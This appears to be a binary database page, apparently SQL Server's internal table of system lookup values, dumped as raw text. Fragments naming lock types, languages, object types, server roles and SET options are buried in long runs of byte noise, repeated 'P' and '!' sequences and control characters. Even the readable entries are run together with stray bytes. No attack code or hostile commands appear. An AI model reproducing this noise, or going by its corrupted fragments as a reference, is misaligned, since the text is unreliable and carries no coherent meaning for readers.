P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P   P  !P  "P  #P  $P  %P  &P  'P  (P  )P  *P  +P  ,P  -P  .P  /P  0P  1P  2P  3P  4P  5P  6P  7P  8P  9P  :P  ;P  <P  =P  >P  ?P  @P  AP  BP  CP  DP  EP  FP  GP  HP  IP  JP  KP  LP  MP  NP  OP  PP  QP  RP  SP  TP  UP  VP  WP  XP  YP  ZP  [P  \P  ]P  ^P  _P  `P  aP  bP  cP  dP  eP  fP  gP  hP  iP  jP  kP  lP  mP  nP  oP  pP  qP  rP  sP  tP  uP  vP  wP  xP  yP  zP  {P  |P  }P  ~P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!@2$|n`RD6(









r
d
V
H
:
,



vhZL>0"zl^PB4&









~
p
b
T
F
8
*



									t	f	X	J	<	.	 			xj\N@2$|n`RD6(rdVH:,vhZL>0"zl^PB4&
~pbTF8*tfXJ<. xj\N@2$|n``[P  uP  uP  uP  u P  u@P  uP  vP  vP  vP  vP  vP  v P  v@P  vP  wP  wP  wP  wP  wP  w P  w@P  wP  xP  xP  xP  xP  xP  x P  x@P  xP  yP  yP  yP  yP  yP  y P  y@P  yP  zP  zP  zP  zP  zP  z P  z@P  zP  {P  {P  {P  {P  {P  { P  {@P  {P  |P  |P  |P  |P  |P  | P  |@P  |P  }P  }P  }P  }P  }P  } P  }@P  }P  ~P  ~P  ~P  ~P  ~P  ~ P  ~@P  ~P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  	P  
P  P  P  
 P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P   P  !P  "P  #P  $P  % P  &@P  'P  (P  )P  *P  +P  ,P  - P  .@P  /P  0P  1P  2P  3P  4P  5 P  6@P  7P  8P  9P  :P  ;P  <P  = P  >@P  ?P  @P  AP  BP  CP  DP  E P  F@P  GP  HP  IP  JP  KP  LP  M P  N@P  OP  PP  QP  RP  SP  TP  U P  V@P  WP  XP  YP  ZP  [P  \P  ] P  ^@P  _P  `P  aP  bP  cP  dP  e P  f@P  gP  hP  iP  jP  kP  lP  m P  n@P  oP  pP  qP  rP  sP  tP  u P  v@P  wP  xP  yP  zP  {P  |P  } P  ~@P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @!!!}`C&	x[>!sV9nQ4iL/dG*
|_B%wZ= rU8mP3hK.cF){^A$vY<qT7lO2




g
J
-

bE(z]@#



u
X
;


				p	S	6		kN1fI,~aD'
y\?"tW:oR5jM0eH+}``AP  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  	P  
P  P  P  
 P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P   P  !P  "P  #P  $P  % P  &@P  'P  (P  )P  *P  +P  ,P  - P  .@P  /P  0P  1P  2P  3P  4P  5 P  6@P  7P  8P  9P  :P  ;P  <P  = P  >@P  ?P  @P  AP  BP  CP  DP  E P  F@P  GP  HP  IP  JP  KP  LP  M P  N@P  OP  PP  QP  RP  SP  TP  U P  V@P  WP  XP  YP  ZP  [P  \P  ] P  ^@P  _P  `P  aP  bP  cP  dP  e P  f@P  gP  hP  iP  jP  kP  lP  m P  n@P  oP  pP  qP  rP  sP  tP  u P  v@P  wP  xP  yP  zP  {P  |P  } P  ~@P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  }`C&	x[>!sV9nQ4iL/dG*
|_B%wZ= rU8mP3hK.cF){^A$vY<qT7lO2




g
J
-

bE(z]@#



u
X
;


				p	S	6		kN1fI,~aD'
y\?"tW:oR5jM0eH+}`_a
K	v6A  >lazy schema validation6D  *dbo use only6D2 6numeric roundabort6I  (primary key6A  Tremote proc transaction promotion6D  (single user6D2 &arithabort6I  &unique key6 D2 *ANSI padding6@D2 4ANSI null default6SOP6ansi_null_dflt_off6SOP@concat_null_yields_null6 SOP6numeric_roundabort6@SOP&xact_abort6V  $read only6 V  "deferred6SRV$bulkadmin6SRVFBulk Insert Administrators6@DBR$DB Owners6@DBRBDB Access Administrators6@DBRFDB Security Administrators6@DBR<DB DDL Administrators6@DBR6DB Backup Operator6@DBR.DB Data Reader6@DBR.DB Data Writer6@DBR8DB Deny Data Reader6	@DBR8DB Deny Data Writer6
LNG Spanish6LNG$Norwegian6LNG&Portuguese6LNG6Simplified Chinese6AFEOB$AGGREGATE6AGEOB6AVAILABILITY GROUP6C EOB2CHECK CONSTRAINT6CDEOB&CREDENTIAL6DBEOB"DATABASE6D EOB DEFAULT6SDEOB6EVENT NOTIFICATION6F EOB>FOREIGN KEY CONSTRAINT6FCEOB2FULLTEXT CATALOG6IFEOB"FUNCTION6TFEOB"FUNCTION6OBEOBOBJECT6PFEOB6PARTITION FUNCTION6R EOBRULE6SCEOBSCHEMA6PCEOB2STORED PROCEDURE6RFEOB2STORED PROCEDURE6P EOB2STORED PROCEDURE6X EOB2STORED PROCEDURE6S EOBTABLE6U EOBTABLE6TAEOB TRIGGER6T EOB TRIGGER6V EOBVIEW6SEEOB,EVENT SESSION6DAEOBJDATABASE AUDIT SPECIFICATION6SAEOBFSERVER AUDIT SPECIFICATION6A EOB*SERVER AUDIT6A EOD*SERVER AUDIT6C EOD2CHECK CONSTRAINT6D EOD DEFAULT6F EOD>FOREIGN KEY CONSTRAINT6P EOD2STORED PROCEDURE6R EODRULE:S EODTABLE:T EOD TRIGGER6U EODTABLE6V EODVIEW:X EOD2STORED PROCEDURE6DAEODJDATABASE AUDIT SPECIFICATION6SAEODFSERVER AUDIT SPECIFICATION:TAEOD TRIGGER6DBEOD"DATABASE6OBEODOBJECT6FCEOD2FULLTEXT CATALOG:PCEOD2STORED PROCEDURE6SCEODSCHEMA6CDEOD&CREDENTIAL:SDEOD6EVENT NOTIFICATION6SEEOD,EVENT SESSION6AFEOD$AGGREGATE:IFEOD"FUNCTION6PFEOD6PARTITION FUNCTION:RFEOD2STORED PROCEDURE:TFEOD"FUNCTION6SDEODDEVENT NOTIFICATION SERVER6IFEODRFUNCTION TABLE-VALUED INLINE SQL6TFEODDFUNCTION TABLE-VALUED SQL6PCEODDSTORED PROCEDURE ASSEMBLY6RFEODXSTORED PROCEDURE REPLICATION FILTER6X EODDSTORED PROCEDURE EXTENDED6S EOD*TABLE SYSTEM6TAEOD2TRIGGER ASSEMBLY6T EOD.TRIGGER SERVEREOBSCHEMA6SGEOB(SERVER ROLE6SREOBSERVER6SVEOB SERVICE6SLEOB$SQL LOGIN6USEOB"SQL USER6SUEOB"SQL USER6STEOB&STATISTICS6PCEOB2STORED PROCEDURE6RFEOB2STORED PROCEDURE6P EOB2STORED PROCEDURE6X EOB2STORED PROCEDURE6SKEOB,SYMMETRIC KEY6SNEOB SYNONYM6S EOBTABLE6U EOBTABLE6TAEOB TRIGGER6TREOB TRIGGER6DTEOB TRIGGER6T EOB TRIGGER6TYEOBTYPE6UQEOB4UNIQUE CONSTRAINT6V EOBVIEW6WGEOB,WINDOWS GROUP6WLEOB,WINDOWS LOGIN6WUEOB*WINDOWS USER6SXEOB<XML SCHEMA COLLECTION6SEEOB,EVENT SESSION6RGEOB4RESOURCE GOVERNOR6DAEOBJDATABASE AUDIT SPECIFICATION6SAEOBFSERVER AUDIT SPECIFICATION6A EOB*SERVER AUDIT6CPEOB>CRYPTOGRAPHIC PROVIDER6COEOB,SERVER CONFIG6SOEOB0SEQUENCE OBJECT6A EOD*SERVER AUDIT6C EOD2CHECK CONSTRAINT6D EOD DEFAULT6F EOD>FOREIGN KEY CONSTRAINT6P EOD2STORED PROCEDURE6R EODRULE6S EODTABLE6T EOD TRIGGER6U EODTABLE6V EODVIEW6X EOD2STORED PROCEDURE6DAEODJDATABASE AUDIT SPECIFICATION6SAEODFSERVER AUDIT SPECIFICATION6TAEOD TRIGGER6DBEOD"DATABASE6OBEODOBJECT6FCEOD2FULLTEXT CATALOG6PCEOD2STORED PROCEDURE6SCEODSCHEMA6CDEOD&CREDENTIAL:SDEOD6EVENT NOTIFICATION6SEEOD,EVENT SESSION6AFEOD$AGGREGATE:IFEOD"FUNCTION6PFEOD6PARTITION FUNCTION6RFEOD2STORED PROCEDURE:TFEOD"FUNCTION6AGEOD6AVAILABILITY GROUP6RGEOD4RESOURCE GOVERNOR6SGEOD(SERVER ROLE6WGEOD,WINDOWS GROUP6AKEOD.ASYMMETRIC KEY6DKEOD@DATABASE ENCRYPTION KEY6MKEOD&MASTER KEY6PKEOD(PRIMARY KEY6SKEOD,SYMMETRIC KEY6ALEOD:ASYMMETRIC KEY LOGIN6CLEOD4CERTIFICATE LOGIN6FLEOD4FULLTEXT STOPLIST6RLEODROLE6SLEOD$SQL LOGIN6WLEOD,WINDOWS LOGIN6SDEODDEVENT NOTIFICATION SERVER6IFEODRFUNCTION TABLE-VALUED INLINE SQL~
^6|T"TXz
vDLP

~
6\
Z<
	
H
Hz4zX	`
D	$	0	&	~^,,
Bdz&"L`a hP  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  	P  
P  P  P  
P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P   P  !P  "P  #P  $P  %P  &P  'P  (P  )P  *P  +P  ,P  -P  .P  /P  0P  1P  2P  3P  4P  5P  6P  7P  8P  9P  :P  ;P  <P  =P  >P  ?P  @P  AP  BP  CP  DP  EP  FP  GP  HP  IP  JP  KP  LP  MP  NP  OP  PP  QP  RP  SP  TP  UP  VP  WP  XP  YP  ZP  [P  \P  ]P  ^P  _P  `P  aP  bP  cP  dP  eP  fP  gP  hP  iP  jP  kP  lP  mP  nP  oP  pP  qP  rP  sP  tP  uP  vP  wP  xP  yP  zP  {P  |P  }P  ~P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  	P  
P  P  P  
P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P   P  !P  "P  #P  $P  %P  &P  'P  (P  )P  *P  +P  ,P  -P  .P  /P  0P  1P  2P  3P  4P  5P  6P  7P  8P  9P  :P  ;P  <P  =P  >P  ?P  @P  AP  BP  CP  DP  EP  FP  GP  HP  IP  JP  KP  LP  MP  NP  OP  PP  QP  RP  SP  TP  UP  VP  WP  XP  YP  ZP  [P  \P  ]P  ^P  _P  `P  aP  bP  cP  dP  eP  fP  gP  hP  iP  jP  kP  lP  mP  nP  oP  pP  qP  rP  sP  tP  uP  vP  wP  xP  yP  zP  {P  |P  }P  ~P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!vN1jC"zW7``sP  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  	P  
P  P  P  
 P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P   P  !P  "P  #P  $P  % P  &@P  'P  (P  )P  *P  +P  ,P  - P  .@P  /P  0P  1P  2P  3P  4P  5 P  6@P  7P  8P  9P  :P  ;P  <P  = P  >@P  ?P  @P  AP  BP  CP  DP  E P  F@P  GP  HP  IP  JP  KP  LP  M P  N@P  OP  PP  QP  RP  SP  TP  U P  V@P  WP  XP  YP  ZP  [P  \P  ] P  ^@P  _P  `P  aP  bP  cP  dP  e P  f@P  gP  hP  iP  jP  kP  lP  m P  n@P  oP  pP  qP  rP  sP  tP  u P  v@P  wP  xP  yP  zP  {P  |P  } P  ~@P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  !!!}`C&	x[>!sV9nQ4iL/dG*
|_B%wZ= rU8mP3hK.cF){^A$vY<qT7lO2




g
J
-

bE(z]@#



u
X
;


				p	S	6		kN1fI,~aD'
y\?"tW:oR5jM0eH+}``XӴzP  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  	P  
P  P  P  
 P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P   P  !P  "P  #P  $P  % P  &@P  'P  (P  )P  *P  +P  ,P  - P  .@P  /P  0P  1P  2P  3P  4P  5 P  6@P  7P  8P  9P  :P  ;P  <P  = P  >@P  ?P  @P  AP  BP  CP  DP  E P  F@P  GP  HP  IP  JP  KP  LP  M P  N@P  OP  PP  QP  RP  SP  TP  U P  V@P  WP  XP  YP  ZP  [P  \P  ] P  ^@P  _P  `P  aP  bP  cP  dP  e P  f@P  gP  hP  iP  jP  kP  lP  m P  n@P  oP  pP  qP  rP  sP  tP  u P  v@P  wP  xP  yP  zP  {P  |P  } P  ~@P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   !!!}`C&	x[>!sV9nQ4iL/dG*
|_B%wZ= rU8mP3hK.cF){^A$vY<qT7lO2




g
J
-

bE(z]@#



u
X
;


				p	S	6		kN1fI,~aD'
y\?"tW:oR5jM0eH+}``ssk9cP  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  P  P  P  P  P  P   P  @P  0R  9REPORT TYPESR  *RE0R  *RE- (rpt)0SFL;SF LOCK TYPES0SFL,SFOExtent Lock - Exclusive0SFL	@ExIExtent Lock - Update0SFL:ExEExtent Lock - Next0SFL6ExMExtent Lock - Previous0SOP3@@OPTIONS0SOP$@@Mdisable_def_cnst_check0SOP>diKimplicit_transactions0SOP<imMcursor_close_on_commit0SOP>cu;ansi_warnings0SOP,an9ansi_padding0SOP *an5ansi_nulls0SOP@&an5arithabort0SOP&ar7arithignore0SOP(arCquoted_identifier0SOP4qu/nocount0SOP noCansi_null_dflt_on0SOP4anEansi_null_dflt_off0SOP6anOconcat_null_yields_null0SOP @coEnumeric_roundabort0SOP@6nu5xact_abort0T  ESYSPROTECTS.ACTION0T  6SY5References0T  &Re?Create Function0T  0Cr-Select0T  Se-Insert0T  In-Delete0T  De-Update0T  Up9Create Table0T  *Cr?Create Database0T  0Cr3Grant_WGO0T  $Gr+Grant0T  Gr)Deny0T  De7Create View0T  (CrACreate Procedure0T  2Cr/Execute0T   Ex?Backup Database0T  0Ba=Create Default0T  .CrEBackup Transaction0T  6Ba7Create Rule0V  CSYSDEVICES STATUS0V  4SY9default disk0V  *de;physical disk0V  ,ph9logical disk0V  *lo;backup device0V   ,ba;serial writes0V  3read only0V   1deferred0SRV1sysadmin0SRV sy;securityadmin0SRV@se7serveradmin0SRVse5setupadmin0SRVse9processadmin0SRVpr3diskadmin0SRVdi3dbcreator0SRVdb3bulkadmin0SRVKSystem Administrators0SRV SyOSecurity Administrators0SRV@SeKServer Administrators0SRVSeISetup Administrators0SRVSeMProcess Administrators0SRVPrGDisk Administrators0SRVDiCDatabase Creators0SRVDaUBulk Insert Administrators!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>\!n)~=@SGGdoe 

I

k6u*

]

		E		kN1fI,~aD'
y\?"tW:oR5jM0eH+}`B`K|0DC CDATABASE CATEGORY0DC 4DA3published0DC $pu5subscribed0DC &su;merge publish0DC (DiIALL SETTABLE OPTIONS0DC ,me7Distributed0E  GSQLSERVER HOST TYPE0E   5WINDOWS/NT0E  WI9int high bit0E  in=int4 high byte0EOBAF3AGGREGATE0EOBAR$AGAAPPLICATION ROLE0EOBAS2AP1ASSEMBLY0EOBAL"ASIASYMMETRIC KEY LOGIN0EOBAU:ASGASYMMETRIC KEY USER0EOBAK8AS=ASYMMETRIC KEY0EOBAG.ASEAVAILABILITY GROUP0EOBCL6AVCCERTIFICATE LOGIN0EOBCU4CEACERTIFICATE USER0EOBCR2CE7CERTIFICATE0EOBC (CEACHECK CONSTRAINT0EOBCT2CH1CONTRACT0EOBCD"CO5CREDENTIAL0EOBDB&CR1DATABASE0EOBD "DA/DEFAULT0EOBEP DE1ENDPOINT0EOBSD"ENEEVENT NOTIFICATION0EOBDN6EVEEVENT NOTIFICATION0EOBEN6EVEEVENT NOTIFICATION0EOBON6EVEEVENT NOTIFICATION0EOBF 6EVMFOREIGN KEY CONSTRAINT0EOBFC>FOAFULLTEXT CATALOG0EOBFL2FUCFULLTEXT STOPLIST0EOBFP4FUISEARCH PROPERTY LIST0EOBIF:SE1FUNCTION0EOBTF"FU1FUNCTION0EOBFN"FU1FUNCTION0EOBFS"FU1FUNCTION0EOBIS"FU1FUNCTION0EOBFT"FU1FUNCTION0EOBGU"FU5GROUP USER0EOBIX&GR+INDEX0EOBLXIN+LOGIN0EOBMKLO5MASTER KEY0EOBDK&MAODATABASE ENCRYPTION KEY0EOBMT@DA9MESSAGE TYPE0EOBOB*ME-OBJECT0EOBPFOBEPARTITION FUNCTION0EOBPR6PA?BROKER PRIORITY0EOBPS0BRAPARTITION SCHEME0EOBPK2PA7PRIMARY KEY0EOBSQ(PR+QUEUE0EOBBNQUMREMOTE SERVICE BINDING0EOBRL>RE)ROLE0EOBRTRO+ROUTE0EOBR RO)RULE0EOBSCRU-SCHEMA0EOBSGSC7SERVER ROLE0EOBSR(SE-SERVER0EOBSVSE/SERVICE0EOBSL SE3SQL LOGIN0EOBUS$SQ1SQL USER0EOBSU"SQ1SQL USER0EOBST"SQ5STATISTICS0EOBPC&STASTORED PROCEDURE0EOBRF2STASTORED PROCEDURE0EOBP 2STASTORED PROCEDURE0EOBX 2STASTORED PROCEDURE0EOBSK2ST;SYMMETRIC KEY0EOBSN,SY/SYNONYM0EOBS  SY+TABLE0EOBU TA+TABLE0EOBTATA/TRIGGER0EOBTR TR/TRIGGER0EOBDT TR/TRIGGER0EOBT  TR/TRIGGER0EOBTY TR)TYPE0EOBUQTYCUNIQUE CONSTRAINT0EOBV 4UN)VIEW0EOBWGVI;WINDOWS GROUP0EOBWL,WI;WINDOWS LOGIN0EOBWU,WI9WINDOWS USER0EOBSX*WIKXML SCHEMA COLLECTION0EOBSE<XM;EVENT SESSION0EOBRG,EVCRESOURCE GOVERNOR0EOBDA4REYDATABASE AUDIT SPECIFICATION0EOBSAJDAUSERVER AUDIT SPECIFICATION0EOBA FSE9SERVER AUDIT0EOBCP*SEMCRYPTOGRAPHIC PROVIDER0EOBCO>CR;SERVER CONFIG0EOBSO,SE?SEQUENCE OBJECT0EODA [o8W\9SERVER AUDIT0EODC AUDIACHECK CONSTRAINT0EODD 2CH/DEFAULT0EODF  DEMFOREIGN KEY CONSTRAINT0EODP >FOASTORED PROCEDURE0EODR 2ST)RULE0EODS RU+TABLE0EODT TA/TRIGGER0EODU  TR+TABLE0EODV TA)VIEW0EODX VIASTORED PROCEDURE0EODDA2STYDATABASE AUDIT SPECIFICATION0EODSAJDAUSERVER AUDIT SPECIFICATION0EODTAFSE/TRIGGER0EODDB TR1DATABASE0EODOB"DA-OBJECT0EODFCOBAFULLTEXT CATALOG0EODPC2FUASTORED PROCEDURE0EODSC2ST-SCHEMA0EODCDSC5CREDENTIAL<EODSD&CREEVENT NOTIFICATION0EODSE6EV;EVENT SESSION0EODAF,EV3AGGREGATE0EODIF$AG1FUNCTION0EODPF"FUEPARTITION FUNCTION0EODRF6PAASTORED PROCEDURE0EODTF2ST1FUNCTION0EODAG"FUEAVAILABILITY GROUP0EODRG6AVCRESOURCE GOVERNOR0EODSG4RE7SERVER ROLE0EODWG(SE;WINDOWS GROUP0EODAK,WI=ASYMMETRIC KEY0EODDK.ASODATABASE ENCRYPTION KEY0EODMK@DA5MASTER KEY0EODPK&MA7PRIMARY KEY0EODSK(PR;SYMMETRIC KEY0EODAL,SYIASYMMETRIC KEY LOGIN0EODCL:ASCCERTIFICATE LOGIN0EODFL4CECFULLTEXT STOPLIST0EODRL4FU)ROLE0EODSLRO3SQL LOGIN0EODWL$SQ;WINDOWS LOGIN0EODBN,WIMREMOTE SERVICE BINDING0EODPF"FUEPAR}B`p!r/x3Ok>
0lA[&j
	
1@	q
	kT	#	,
pO'G1g1R
o]A
v
I
*+b

j3i?(v*{B
F`U`@:#0J  ACOMPATIBLE TYPES0J  -CO-binary0J  %bi3varbinary0J  2va'bit0J  /bi)char0J  'ch/varchar0J  =va1datetime0J  oda1datetimn0J  :da;smalldatetime0J  >sm+float0J  mfl-floatn0J  ;fl)real0J  8re'int0J  &in)intn0J  4in1smallint0J  0sm/tinyint0J  <ti+money0J  nmo-moneyn0J  zmo5smallmoney0K  ;SYSKEYS TYPES0K  ,SY/primary0K   pr/foreign0K   fo-common0L  5LOCK TYPES0L  &LO)NULL0L  NU+Sch-S0L  Sc+Sch-M0L  Sc#S0L  Sc#U0L  Uc#X0L  Xc%IS0L  IS%IU0L  	IU%IX0L  
IX'SIU0L  SI'SIX0L  SI'UIX0L  
UI%BU0L  BU1RangeS-S0L  "Ra1RangeS-U0L  "Ra9RangeIn-Null0L  *Ra3RangeIn-S0L  $Ra3RangeIn-U0L  $Ra3RangeIn-X0L  $Ra1RangeX-S0L  "Ra1RangeX-U0L  "Ra1RangeX-X0LNG6Si-Arabic0LNG3Bulgarian0LNG$BrGTraditional Chinese0LNG$Bu+Czech0LNGCz-Danish0LNGDa-German0LNGGe+Greek0LNG	Gr/English0LNG Sp/Finnish0LNG Fi-French0LNGFr3Hungarian0LNG$Hu/Italian0LNG It1japanese0LNG8Tr-Korean0LNG"ja+Dutch0LNGDu-Polish0LNG&Li3Brazilian0LNGPo1Romanian0LNG"Ro/Russian0LNG Ru1Croatian0LNG"Cr-Slovak0LNGSl/Swedish0LNGAr)Thai0LNG Sw/Turkish0LNG$ Tu3Slovenian0LNG%&Po1Estonian0LNG&"Es/Latvian0LNG' La5Lithuanian0LNGKoESimplified Chinese0LNG$Sl3Norwegian0LNG$No5Portuguese0LNG
 En/Spanish0LO 5LOCK OWNER0LO &LO)Xact0LO Xa)Crsr0LO Cr)Sess0LO Se)STWS0LO ST)XTWS0LO XT'WFR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}T+u@


d
3

yL[0

p
C

